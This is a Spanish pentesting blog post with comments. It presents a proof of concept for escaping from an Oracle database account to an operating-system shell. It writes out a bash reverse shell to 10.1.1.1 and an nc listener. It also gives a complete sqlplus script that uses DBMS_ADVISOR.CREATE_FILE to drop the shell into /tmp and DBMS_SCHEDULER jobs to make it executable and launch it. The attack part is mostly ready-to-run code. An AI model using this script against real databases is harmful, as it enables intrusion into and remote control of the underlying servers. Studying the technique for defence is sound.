En ocasiones en un
pentesting es más fácil conseguir un usuario de oracle que un usuario de SO,
pero nos interesa obtener una shell en la máquina.
No es raro encontrar todo tipo de credenciales
"hardcodeadas" en texto plano en ficheros de configuración y todavía es más
frecuente si hablamos de bases de datos, se pueden encontrar usuarios con
credenciales "hardcodeadas" en equipos finales de usuarios (automatizaciones,
etc), el caso que aquí nos ocupa es el de encontrar una forma simple para
salirse de Oracle (en este caso) al sistema operativo, veamos como podemos
lograrlo.
Vamos a suponer que o bien somos
un usuario de base de datos “legal” o bien hemos realizado el proceso típico en
pentesting de Oracle, a saber:
1) Encontrar bases de datos
2)
Obtener SIDs
3) Obtener
Users/Pass
4) Login y enumerate DB Schema
5) etc…
Siendo así vamos a suponer que
tenemos usuario en la base de datos y que unicamente tenemos acceso al host mediante el puerto 1521
(puerto estándar del listener), necesitaremos por tanto una shell reversa, por
ejemplo, de forma simple y sin perder generalidad: bash -i >& /dev/tcp/10.1.1.1/12345 0>&1 y como es de
suponer a la escucha pondremos por ejemplo un nc –l –p 12345….
Necesitaremos
de algún modo poder escribir en el host, Oracle proporciona varias forma de
hacerlo, muchas de ellas que por defecto se establecen a nivel de packages y
con permisos de execute a public! Que tenemos disponible para nuestras
necesidades:
SYS.DBMS_ADVISOR.CREATE_FILE:
Como su nombre indica la usaremos para crear el fichero octopus.sh en /tmp. El
fichero contiene nuestra shell reversa “bash -i >& /dev/tcp/$HOST/$PUERTO 0>&1”.
DBMS_SCHEDULER.CREATE_JOB:
Otra gran utilidad de Oracle que nos permite crear jobs, en este caso crearemos
“mjob” para que de permisos a nuestra
shell reversa, esto es, un chmod 755 en /tmp/octopus.sh
DBMS_SCHEDULER:
Como no podría ser de otra forma, tenemos que lanzar el script, para ello
Oracle nuevamente nos ayuda, la idea es ejecutar /etm/octopus.sh
Veamos
entonces como será el montante final:
#/bin/bash USER=$1 PW=$2 IP=$3 SID=$4 echo "Puerto RevShell" read PUERTO echo "IP reverse:" read HOST echo "Arranca el listener ej: nc -l -p $PUERTO ...." read sqlplus $USER/$PW@//$IP/$SID<<BELCEBU CREATE DIRECTORY ESTEMISMO as '/tmp'; GRANT read,write on DIRECTORY ESTEMISMO to public; SET define off; DECLARE belce_data clob; ESTEMISMO varchar2(200); fich varchar2(700); BEGIN belce_data:='bash -i >& /dev/tcp/$HOST/$PUERTO 0>&1'; ESTEMISMO:= 'ESTEMISMO'; fich:='octopus.sh.sh'; SYS.DBMS_ADVISOR.CREATE_FILE (belce_data, ESTEMISMO, fich); COMMIT; dbms_scheduler.create_job(job_name => 'lanzador', job_type => 'executable', job_action => '/bin/chmod', number_of_arguments => 2, enabled => FALSE, auto_drop => TRUE); dbms_scheduler.set_job_argument_value('lanzador',1,'755'); dbms_scheduler.set_job_argument_value('lanzador',2,'/tmp/octopus.sh.sh'); dbms_scheduler.enable('lanzador'); dbms_scheduler.create_job(job_name => 'octopusshell', job_type => 'EXECUTABLE', job_action => '/bin/bash', number_of_arguments => 1, start_date => SYSTIMESTAMP, enabled => FALSE); dbms_scheduler.set_job_argument_value('octopusshell',1,'/tmp/octopus.sh.sh'); dbms_scheduler.enable('octopusshell'); END; / BELCEBU Exit
Como podemos ver hemos obtenido shell en la máquina sobre
la cual corre la base de datos Oracle de la que somos usuario, el único y gran
problema que tenemos es nuestra personalidad en unix, si el usuario con el que
nos conectamos a la base de datos tambien existe como usuario del sistema
operativo, lease el caso típico del usuario Oracle, obtendríamos shell en la
máquina como usuario Oracle y probablemente grupo DBA o similar, pero si el
usuario de la base de datos no existe en el sistema Unix, como en este caso el
usuario “segtest”, al salirnos de Oracle obtendremos shell con usuario y grupo
nobody, la pregunta genérica es ¿Qué podemos hacer para elevar privilegios?
Seguramente tendremos muchas respuestas, pero la pregunta concreta es ¿Podemos
salir y conseguir privilegios con métodos similares?
Las respuestas
se harán esperar :D
Bueno en realidad la PoC es buena , pero para ser efectiva se necesita que el usuario tenga privilegios de crear directorios
ResponderEliminaralgo como
GRANT CREATE ANY DIRECTORY TO tusuario;
Si tienes razon en el punto de que algunos paquetes son publicos pero no los que se podrian utilizar para subir una shell o escribir algo mas que comprometa el S.O , hay otros paquetes que indirectamente permiten elevar privilegios a un usuario oracle (estos publicos). Con esta premisa si se podria tener el control del s.o , claro que cada S.O es una historia diferente.
Interezante escenario que colocas.exitos.
En realidad la idea es hacer uso de los privilegios que nunca se revisan o que incluso Oracle otorga by default, es decir, es muy común que los paquetes mencionados (SYS.DBMS_ADVISOR.CREATE_FILE, DBMS_SCHEDULER.CREATE_JOB ,DBMS_SCHEDULER, entre otros)tengan privilegios de ejecución a PUBLIC, esto es, cualquier usuario puede utilizarlos, por lo que haciendo uso de estos tres paquetes tal como mencionamos en el POC, unicamente necesitamos que el usuario tenga asociado el rol de connect y/o resources.
ResponderEliminarEspero haber aclarado tu duda y como bien comentas la idea del POC no es elevar privilegios sino tan solo ver como con estos conceptos simples podemos "salir al sistema", que en determinadas cirsunstancias podría ser equivalente a obtener una shell en el sistema.